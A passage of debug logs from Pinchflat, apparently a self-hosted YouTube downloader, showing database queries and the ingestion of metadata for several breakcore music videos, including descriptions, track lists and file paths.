= ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:38.820 [debug] Replied in 1ms 22:19:38.821 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 5} 22:19:38.821 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.821 [debug] QUERY OK source="media_items" db=0.1ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:19:38.822 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:38.822 [debug] Replied in 1ms 22:19:39.769 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Heaven/EXE\nWrote this album over the summer, heavily inspired by dreamcast/psx era dnb and breaks. Also inspired by early 2000's IDM. Used some old samplers and synths that were used to make Phantasy Star Online OST back in the day. \n\nTHIS MUSIC CAN BE USED IN STREAMS AND OR FOR PERSONAL PROJECTS. You will not get copyright flagged \nhttps://dusqkshop.com/products/heaven-exe-cd Buy Heaven/EXE on CD !\nhttps://dusqkshop.com/ - Merch store !\n\nSpotify - https://open.spotify.com/album/4AvGDIu6DKjsadlWRnFO97?si=MTVIXQaJQmioHIjusc3bkw\n\nI've got the album up on bandcamp for free! \nBandcamp - https://dusqk.bandcamp.com/album/heaven-exe\n\nAlbum artwork - KEVLAR:ESTUDIO™ https://www.instagram.com/kevlarestudio/ \n\n1. Heaven.exe 00:00\n2. Gods Garden 1:57\n3. 2 AM Lucid 6:05\n4. Aquatic Heaven Simulator 9:55\n5. Lo_Light Summer 04 15:28\n6. Heart Breaks 2005 20:19\n7. Dreams99 24:48\n8. Wellness Spring 29:13\n9. Keycard_Floor 68 33:32\n10. Forest Lab 37:18\n11. Heart Breaks 2005 (Saved Ver.) 40:36\n\nFollow me on instragram! https://www.instagram.com/dusqkmusic/", "duration" => 2692, "filename" => "/downloads/Breakcore/Breakcore/2023-12-30Heaven⧸EXE [Jungle⧹Breakcore⧹DnB⧹Dreamcast⧹PSX][z9e8CPULjW4].m4a", "id" => "z9e8CPULjW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=z9e8CPULjW4", "playlist_index" => 2, "timestamp" => 1703907557, "title" => "Heaven/EXE [Jungle\\Breakcore\\DnB\\Dreamcast\\PSX]", "upload_date" => "20231230"} 22:19:39.770 [debug] QUERY OK source="sources" db=0.2ms idle=950.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:39.770 [debug] QUERY OK source="sources" db=0.1ms idle=948.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:39.770 [debug] QUERY OK source="media_items" db=0.1ms idle=948.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-30 03:39:17Z], 3] 22:19:40.070 [debug] QUERY OK source="media_items" db=298.9ms idle=948.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Heaven/EXE\nWrote this album over the summer, heavily inspired by dreamcast/psx era dnb and breaks. Also inspired by early 2000's IDM. Used some old samplers and synths that were used to make Phantasy Star Online OST back in the day. \n\nTHIS MUSIC CAN BE USED IN STREAMS AND OR FOR PERSONAL PROJECTS. You will not get copyright flagged \nhttps://dusqkshop.com/products/heaven-exe-cd Buy Heaven/EXE on CD !\nhttps://dusqkshop.com/ - Merch store !\n\nSpotify - https://open.spotify.com/album/4AvGDIu6DKjsadlWRnFO97?si=MTVIXQaJQmioHIjusc3bkw\n\nI've got the album up on bandcamp for free! \nBandcamp - https://dusqk.bandcamp.com/album/heaven-exe\n\nAlbum artwork - KEVLAR:ESTUDIO™ https://www.instagram.com/kevlarestudio/ \n\n1. Heaven.exe 00:00\n2. Gods Garden 1:57\n3. 2 AM Lucid 6:05\n4. Aquatic Heaven Simulator 9:55\n5. Lo_Light Summer 04 15:28\n6. Heart Breaks 2005 20:19\n7. Dreams99 24:48\n8. Wellness Spring 29:13\n9. Keycard_Floor 68 33:32\n10. Forest Lab 37:18\n11. Heart Breaks 2005 (Saved Ver.) 40:36\n\nFollow me on instragram! https://www.instagram.com/dusqkmusic/", "Heaven/EXE [Jungle\\Breakcore\\DnB\\Dreamcast\\PSX]", "c34403f1-917c-43ce-a8a7-e9a24047c017", false, "z9e8CPULjW4", 2692, false, "https://www.youtube.com/watch?v=z9e8CPULjW4", 2, "/downloads/Breakcore/Breakcore/2023-12-30Heaven⧸EXE [Jungle⧹Breakcore⧹DnB⧹Dreamcast⧹PSX][z9e8CPULjW4].m4a", false, false, 3, [], 1, ~U[2023-12-30 03:39:17Z], ~U[2026-07-24 02:19:39Z], ~U[2026-07-24 02:19:39Z], "Heaven/EXE\nWrote this album over the summer, heavily inspired by dreamcast/psx era dnb and breaks. Also inspired by early 2000's IDM. Used some old samplers and synths that were used to make Phantasy Star Online OST back in the day. \n\nTHIS MUSIC CAN BE USED IN STREAMS AND OR FOR PERSONAL PROJECTS. You will not get copyright flagged \nhttps://dusqkshop.com/products/heaven-exe-cd Buy Heaven/EXE on CD !\nhttps://dusqkshop.com/ - Merch store !\n\nSpotify - https://open.spotify.com/album/4AvGDIu6DKjsadlWRnFO97?si=MTVIXQaJQmioHIjusc3bkw\n\nI've got the album up on bandcamp for free! \nBandcamp - https://dusqk.bandcamp.com/album/heaven-exe\n\nAlbum artwork - KEVLAR:ESTUDIO™ https://www.instagram.com/kevlarestudio/ \n\n1. Heaven.exe 00:00\n2. Gods Garden 1:57\n3. 2 AM Lucid 6:05\n4. Aquatic Heaven Simulator 9:55\n5. Lo_Light Summer 04 15:28\n6. Heart Breaks 2005 20:19\n7. Dreams99 24:48\n8. Wellness Spring 29:13\n9. Keycard_Floor 68 33:32\n10. Forest Lab 37:18\n11. Heart Breaks 2005 (Saved Ver.) 40:36\n\nFollow me on instragram! https://www.instagram.com/dusqkmusic/", "Heaven/EXE [Jungle\\Breakcore\\DnB\\Dreamcast\\PSX]", "z9e8CPULjW4", 2692, false, "https://www.youtube.com/watch?v=z9e8CPULjW4", "/downloads/Breakcore/Breakcore/2023-12-30Heaven⧸EXE [Jungle⧹Breakcore⧹DnB⧹Dreamcast⧹PSX][z9e8CPULjW4].m4a", false, 3, ~U[2023-12-30 03:39:17Z]] 22:19:40.071 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=681.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:40.072 [debug] QUERY OK source="media_profiles" db=0.3ms idle=301.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:40.073 [debug] QUERY OK source="media_items" db=0.5ms idle=301.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [87] 22:19:40.073 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "somewhere in Between..\nhttps://leylinehex.bandcamp.com/album/somewhere-in-between\nhttps://open.spotify.com/album/1kOxkdnycQHX9ZYN70Wz6a\nhttps://music.apple.com/us/album/somewhere-in-between/1743664877\nhttps://linktr.ee/leylinehex\n\nTracklist:\n0:00 spirit shell online\n2:33 falling next to u\n5:58 grey skies\n9:03 fatal condition\n12:12 save the humans\n15:03 just us now\n17:01 direct message\n19:35 is it even real?\n22:06 press x to talk\n\n\n\n#dnb #breakcore #edmmusic", "duration" => 1453, "filename" => "/downloads/Breakcore/Breakcore/2024-04-28somewhere in Between (full album)[oFzlwBdC3Uw].m4a", "id" => "oFzlwBdC3Uw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oFzlwBdC3Uw", "playlist_index" => 3, "timestamp" => 1714286802, "title" => "somewhere in Between (full album)", "upload_date" => "20240428"} 22:19:40.074 [debug] QUERY OK source="sources" db=0.3ms idle=302.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:40.075 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:40.075 [debug] QUERY OK source="media_items" db=0.3ms idle=4.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-28 06:46:42Z], 3] 22:19:40.260 [debug] QUERY OK source="media_items" db=183.9ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["somewhere in Between..\nhttps://leylinehex.bandcamp.com/album/somewhere-in-between\nhttps://open.spotify.com/album/1kOxkdnycQHX9ZYN70Wz6a\nhttps://music.apple.com/us/album/somewhere-in-between/1743664877\nhttps://linktr.ee/leylinehex\n\nTracklist:\n0:00 spirit shell online\n2:33 falling next to u\n5:58 grey skies\n9:03 fatal condition\n12:12 save the humans\n15:03 just us now\n17:01 direct message\n19:35 is it even real?\n22:06 press x to talk\n\n\n\n#dnb #breakcore #edmmusic", "somewhere in Between (full album)", "4833b7e4-5c26-4586-9852-22d067fdf547", false, "oFzlwBdC3Uw", 1453, false, "https://www.youtube.com/watch?v=oFzlwBdC3Uw", 3, "/downloads/Breakcore/Breakcore/2024-04-28somewhere in Between (full album)[oFzlwBdC3Uw].m4a", false, false, 3, [], 1, ~U[2024-04-28 06:46:42Z], ~U[2026-07-24 02:19:40Z], ~U[2026-07-24 02:19:40Z], "somewhere in Between..\nhttps://leylinehex.bandcamp.com/album/somewhere-in-between\nhttps://open.spotify.com/album/1kOxkdnycQHX9ZYN70Wz6a\nhttps://music.apple.com/us/album/somewhere-in-between/1743664877\nhttps://linktr.ee/leylinehex\n\nTracklist:\n0:00 spirit shell online\n2:33 falling next to u\n5:58 grey skies\n9:03 fatal condition\n12:12 save the humans\n15:03 just us now\n17:01 direct message\n19:35 is it even real?\n22:06 press x to talk\n\n\n\n#dnb #breakcore #edmmusic", "somewhere in Between (full album)", "oFzlwBdC3Uw", 1453, false, "https://www.youtube.com/watch?v=oFzlwBdC3Uw", "/downloads/Breakcore/Breakcore/2024-04-28somewhere in Between (full album)[oFzlwBdC3Uw].m4a", false, 3, ~U[2024-04-28 06:46:42Z]] 22:19:40.260 [debug] QUERY OK source="sources" db=0.2ms idle=187.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:40.261 [debug] QUERY OK source="media_profiles" db=0.1ms idle=186.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:40.261 [debug] QUERY OK source="media_items" db=0.2ms idle=186.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [88] 22:19:40.261 [debug] Current batch of media processed. Will check again in 1000ms 22:19:41.262 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#KLYDIX #stillhere #Luira\n\nStill Here by KLYDIX\n\n🎧 Steaming : https://ffm.to/klydix-still-here\n\n─\n\nKLYDIX\nhttps://beacons.ai/klydix/klydix\nhttps://www.instagram.com/klydix\nhttps://twitter.com/klydix\nhttps://soundcloud.com/klydix\nhttps://www.youtube.com/klydix\nhttps://www.tiktok.com/@klydixmusic\n\n✦ CREDITS ✦\n\n◈ Sound\nProduced, Composed & Arranged : KLYDIX\nLyrics : KLYDIX\nVocal : KLYDIX\nMix & Mastering : KLYDIX\n\n◈ Visual\nCreative Direction : KLYDIX\nCharacter Illustration : KLYDIX\nBackground Footage : KLYDIX\nVideo Editing & Compositing : KLYDIX", "duration" => 184, "filename" => "/downloads/Breakcore/Breakcore/2026-04-23KLYDIX - Still Here [Official Music Video][Krl4WHYpTBk].m4a", "id" => "Krl4WHYpTBk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Krl4WHYpTBk", "playlist_index" => 4, "timestamp" => 1776956406, "title" => "KLYDIX - Still Here [Official Music Video]", "upload_date" => "20260423"} 22:19:41.263 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:41.263 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:41.263 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-23 15:00:06Z], 3] 22:19:41.570 [debug] QUERY OK source="media_items" db=289.3ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#KLYDIX #stillhere #Luira\n\nStill Here by KLYDIX\n\n🎧 Steaming : https://ffm.to/klydix-still-here\n\n─\n\nKLYDIX\nhttps://beacons.ai/klydix/klydix\nhttps://www.instagram.com/klydix\nhttps://twitter.com/klydix\nhttps://soundcloud.com/klydix\nhttps://www.youtube.com/klydix\nhttps://www.tiktok.com/@klydixmusic\n\n✦ CREDITS ✦\n\n◈ Sound\nProduced, Composed & Arranged : KLYDIX\nLyrics : KLYDIX\nVocal : KLYDIX\nMix & Mastering : KLYDIX\n\n◈ Visual\nCreative Direction : KLYDIX\nCharacter Illustration : KLYDIX\nBackground Footage : KLYDIX\nVideo Editing & Compositing : KLYDIX", "KLYDIX - Still Here [Official Music Video]", "7c4bea30-bdda-43d0-892b-bf591a14e285", false, "Krl4WHYpTBk", 184, false, "https://www.youtube.com/watch?v=Krl4WHYpTBk", 4, "/downloads/Breakcore/Breakcore/2026-04-23KLYDIX - Still Here [Official Music Video][Krl4WHYpTBk].m4a", false, false, 3, [], 1, ~U[2026-04-23 15:00:06Z], ~U[2026-07-24 02:19:41Z], ~U[2026-07-24 02:19:41Z], "#KLYDIX #stillhere #Luira\n\nStill Here by KLYDIX\n\n🎧 Steaming : https://ffm.to/klydix-still-here\n\n─\n\nKLYDIX\nhttps://beacons.ai/klydix/klydix\nhttps://www.instagram.com/klydix\nhttps://twitter.com/klydix\nhttps://soundcloud.com/klydix\nhttps://www.youtube.com/klydix\nhttps://www.tiktok.com/@klydixmusic\n\n✦ CREDITS ✦\n\n◈ Sound\nProduced, Composed & Arranged : KLYDIX\nLyrics : KLYDIX\nVocal : KLYDIX\nMix & Mastering : KLYDIX\n\n◈ Visual\nCreative Direction : KLYDIX\nCharacter Illustration : KLYDIX\nBackground Footage : KLYDIX\nVideo Editing & Compositing : KLYDIX", "KLYDIX - Still Here [Official Music Video]", "Krl4WHYpTBk", 184, false, "https://www.youtube.com/watch?v=Krl4WHYpTBk", "/downloads/Breakcore/Breakcore/2026-04-23KLYDIX - Still Here [Official Music Video][Krl4WHYpTBk].m4a", false, 3, ~U[2026-04-23 15:00:06Z]] 22:19:41.571 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=307.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:41.571 [debug] QUERY OK source="media_profiles" db=0.2ms idle=307.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:41.572 [debug] QUERY OK source="media_items" db=0.3ms idle=307.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90] 22:19:41.572 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nwhat have i done? · 404 Breakcore · 404 Breakcore\n\nwhat have i done? (breakcore)\n\n℗ 404 BREAKCORE 